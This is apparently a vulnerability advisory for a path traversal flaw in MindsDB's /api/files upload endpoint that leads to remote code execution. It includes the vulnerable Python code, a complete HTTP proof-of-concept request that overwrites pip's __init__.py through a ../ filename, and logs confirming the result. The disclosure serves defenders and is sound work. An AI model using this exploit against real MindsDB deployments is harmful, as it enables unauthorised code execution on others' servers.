MindsDB: Path Traversal in /api/files Leading to Remote Code ExecutionCVE-2026-27483

### Summary There is a path traversal vulnerability in Mindsdb's /api/files interface, which an authenticated attacker can exploit to achieve remote command execution. ### Details The vulnerability exists in the "Upload File" module, which corresponds to the API endpoint /api/files. The affected code is located at mindsdb/api/http/namespaces/file.py: ```python @ns_conf.route("/<name>") @ns_conf.param("name", "MindsDB's name for file") class File(Resource): @ns_conf.doc("put_file") @api_endpoint_metrics('PUT', '/files/file') def put(self, name: str): """add new file params in FormData: - file - original_file_name [optional] """ data = {} mindsdb_file_name = name existing_file_names = ca.file_controller.get_files_names() def on_field(field): name = field.field_name.decode() value = field.value.decode() data[name] = value file_object = None def on_file(file): nonlocal file_object data["file"] = file.file_name.decode() file_object = file.file_object temp_dir_path = tempfile.mkdtemp(prefix="mindsdb_file_") if request.headers["Content-Type"].startswith("multipart/form-data"): parser = multipart.create_form_parser( headers=request.headers, on_field=on_field, on_file=on_file, config={ "UPLOAD_DIR": temp_dir_path.encode(), # bytes required "UPLOAD_KEEP_FILENAME": True, "UPLOAD_KEEP_EXTENSIONS": True, "MAX_MEMORY_FILE_SIZE": 0, }, ) while True: chunk = request.stream.read(8192) if not chunk: break parser.write(chunk) parser.finalize() parser.close() if file_object is not None: if not file_object.closed: try: file_object.flush() except (AttributeError, ValueError, OSError): logger.debug("Failed to flush file_object before closing.", exc_info=True) file_object.close() file_object = None else: data = request.json ``` Since the multipart file upload does not perform security checks on the uploaded file path, an attacker can perform path traversal by using ../ sequences in the filename field. The file write operation occurs before calling clear_filename and save_file, meaning there is no filtering of filenames or file types, allowing arbitrary content to be written to any path on the server. ### PoC This vulnerability can be exploited to overwrite existing executable files, which retain their executable permissions after being overwritten. In addition to conventional file upload exploitation methods, we provide a way to achieve Remote Code Execution (RCE) by leveraging MindsDB's own functionality. The API endpoint /<handler_name>/install is used to install handlers, which internally calls install_dependencies to install dependencies via pip. This function executes pip using subprocess.Popen. Therefore, an attacker can: 1. Exploit the vulnerability to overwrite /venv/lib/python3.10/site-packages/pip/__init__.py with a malicious Python script. 2. Trigger the execution of the malicious script by calling /<handler_name>/install, which invokes pip. Exploit： ``` PUT /api/files/mm HTTP/1.1 Host: ip:47334 Content-Length: 579 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryv9dZC0cAHLlHSHD9 Origin: http://ip:47334 Referer: http://ip:47334/fileUpload Accept-Encoding: gzip, deflate, br Accept-Language: zh,en;q=0.9,zh-CN;q=0.8 Cookie: bid=87948125-5042-4fc8-a692-9cbf71e387be Connection: keep-alive ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="name" mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source" mm ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="source_type" file ------WebKitFormBoundaryv9dZC0cAHLlHSHD9 Content-Disposition: form-data; name="file"; filename="../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py" Content-Type: text/plain import os os.system("touch /tmp/rce_by_hacker") ------WebKitFormBoundaryv9dZC0cAHLlHSHD9-- ``` After sending this request, you can observe the logs in Docker's output: ``` 2025-05-30 02:26:52,432 http INFO python_multipart.multipart: Opening a file on disk 2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Saving with filename in: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0' 2025-05-30 02:26:52,433 http INFO python_multipart.multipart: Opening file: b'/root/mdb_storage/tmp/mindsdb_byom_file_89h0zcz0/../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py' ``` At this point, you can see that the file has been successfully overwritten: ``` root@e445c93b2fd5:/mindsdb# cat /venv/lib/python3.10/site-packages/pip/__init__.py import os os.system("touch /tmp/rce_by_hacker") ``` Afterwards, install any handler in the UI, and you will see that the file rce_by_hacker is successfully created in the /tmp directory. The same result can also be achieved by sending an API request to trigger it. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine If there are any questions regarding the vulnerability details, please feel free to reach out to MindsDB for further discussion at [email protected].

Quoted source text, attributed separately from HOL analysis.